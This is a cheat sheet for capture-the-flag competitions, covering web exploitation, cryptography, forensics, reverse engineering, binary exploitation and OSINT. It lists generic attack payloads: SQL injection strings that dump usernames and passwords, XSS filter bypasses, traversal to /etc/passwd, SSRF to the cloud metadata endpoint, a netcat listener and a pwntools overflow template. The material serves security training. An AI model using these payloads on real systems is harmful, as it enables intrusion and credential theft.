🔧 1. GENERAL UTILITIES

File Identification & Inspection

```
file <file>
strings <file> | less
hexdump -C <file> | head
xxd <file>
xxd -p file | tr -d '\n'
```

Compression & Archive Extraction

```
binwalk -e file
unzip file.zip
tar -xvf file.tar
gzip -d file.gz
7z x file.7z
```

Checksum / Hash Tools

```
md5sum file
sha1sum file
```

```
sha256sum file
hashid <hash>
```

Networking Basics

```
curl -I http://target
curl -X POST -d "a=b" http://target
wget http://target/file
nc -lvnp 4444
```

🌐 2. WEB EXPLOITATION

Common Vulnerability Categories

- SQL Injection
- XSS (Reflected, Stored, DOM)
- CSRF
- Directory Traversal / LFI / RFI
- SSRF
- SSTI
- IDOR
- Cookies & Session attacks
- Misconfigurations

📌 SQL Injection Cheats

Basic Payloads

```
' OR 1=1-- -
" OR 1=1-- -
admin' --
```

Union-based enumeration

```
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--
```

Check number of columns

```
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
```

Error-based

```
' AND updatexml(1, concat(0x7e,version(),0x7e), 1)--
```

📌 XSS Patterns

```
<script>alert(1)</script>
"><script>alert(1)</script>
```

```
<img src=x onerror=alert(1)>
```

Bypass filters

```
<script>alert`1`</script>
<svg onload=alert(1)>
"><svg/onload=alert(1)>
```

📌 LFI / Directory Traversal

```
?file=../../../../etc/passwd
?path=../../../var/www/html/index.php
?page=php://filter/convert.base64-encode/resource=index.php
```

📌 SSTI

Detection:

```
{{7*7}}
${7*7}
<%= 7*7 %>
```

Common injectable templates:

- Jinja2 (Python)

- Twig (PHP)
- Freemarker (Java)
- Velocity (Java)

📌 SSRF Quick Wins

Try internal resources:

```
http://127.0.0.1:80
http://localhost/admin
http://169.254.169.254/latest/meta-data/
```

📌 Useful Web Tools

```
ffuf -u http://site/FUZZ -w wordlist.txt
dirsearch -u http://site
sqlmap -u "http://site/?id=1" --batch
```

🔐 3. CRYPTOGRAPHY

Encoding / Decoding

```
base64 -d
echo "text" | base64
xxd -ps
echo <hex> | xxd -r -p
```

Classical Ciphers

Caesar / ROT13

```
tr 'A-Za-z' 'N-ZA-Mn-za-m'
```

Vigenère

- Check repeating patterns
- Use **Kasiski examination**
- Cryptanalysis tools: dcode.fr / cyberchef

Substitution

- Frequency analysis:
  E, T, A, O, I, N are most common in English.

XOR

Single-byte XOR brute force:

```
for i in range(256): print(bytes([b ^ i for b in ciphertext]))
```

XOR two hex strings:

```
def xor(a,b): return bytes([x^y for x,y in zip(a,b)])
```

RSA Quick Reference

Modular Inverse

```
pow(a, -1, n)
```

Private key recovery (when p & q given)

```
phi = (p-1)*(q-1)
d = inverse(e, phi)
```

Vulnerabilities

- Small `e` (e = 3)
- Reused nonce
- Shared prime between two moduli
- CRT leakage
- Low padding

🔍 4. FORENSICS / STEGO

Image Forensics

```
exiftool image.jpg
strings image.jpg | grep -i flag
zsteg image.png
steghide extract -sf file.jpg
```

Try password → empty string first.

Audio Forensics

```
sox file.wav -n spectrogram
# Look for hidden text in the spectrogram
```

PCAP / Network

Wireshark Filters

```
http
tcp.stream eq 0
dns
frame contains "flag"
```

Extract files

```
tcpflow -r capture.pcap
```

Memory Forensics

```
volatility -f memdump imageinfo
volatility --profile=... pslist
volatility --profile=... filescan
```

🔁 5. REVERSE ENGINEERING

Quick Binary Triage

```
strings binary
ltrace ./binary
strace ./binary
file binary
```

Disassembly / Static Analysis

```
```

```
objdump -d binary
radare2 -A binary
```

In Ghidra / IDA look for:

- Hardcoded strings
- `check()`, `validate()`, `decrypt()`
- Comparisons against a long constant
- Loops XORing characters

Basic GDB Commands

```
gdb ./binary
break *main
run
info registers
x/s $rax
x/20x $esp
```

💥 6. PWN / BINARY EXPLOITATION

Check Binary Protections

```
checksec --file=binary
```

What they mean:

- **NX** → need ROP
- **PIE** → leak needed
- **Canary** → bypass with leak
- **RELRO FULL** → GOT overwrite blocked

Buffer Overflow Pattern

```
pattern create 200
pattern search <value>
```

Using pwntools:

```
from pwn import * p = process("./vuln") payload = b"A"*offset + p64(ret) p.sendline(payload) p.interactive()
```

ROP Gadgets

```
ROPgadget --binary binary
```

Common gadgets:

```

```

```
pop rdi; ret
pop rsi; pop r15; ret
```

Ret2Libc Workflow

1. Leak address (puts, printf, write)
2. Use libc database to find offsets
3. Calculate system, "/bin/sh"
4. Build ROP chain

🛠️ 7. OSINT

Image OSINT

- Reverse search (Google, Yandex)
- Metadata → exiftool
- Check shadows & artifacts for edits

Username / Email OSINT

Tools:

- Sherlock
- holehe
- Emailrep

Geolocation

Look for:

- Street signs
- Sun shadow direction
- Mountains / coastline shape

🎯 8. MISC & QUICK TIPS

CyberChef Recipes

- Magic decode
- XOR brute force
- ROT-brute
- AES decrypt
- Base encodings

Regex Snippets

```
flag{.*}
CTF{.*}
[A-Za-z0-9+/]{20,}==
```

Hex to ASCII

```
xxd -r -p input.hex
```

Useful URLs

- dcode.fr
- cyberchef
- crackstation.net
- hashcat.net/wiki/doku.php?id=example_hashes

🧠 9. COMPETITION STRATEGY

- Solve **easy** challenges first
- Skip anything that traps you >20–25 min
- Write notes for every attempt
- Screenshot flags
- Submit often — partial points matter in some CTFs
- Don’t chase categories you’re weak in during crunch time
- Keep your environment clean and ready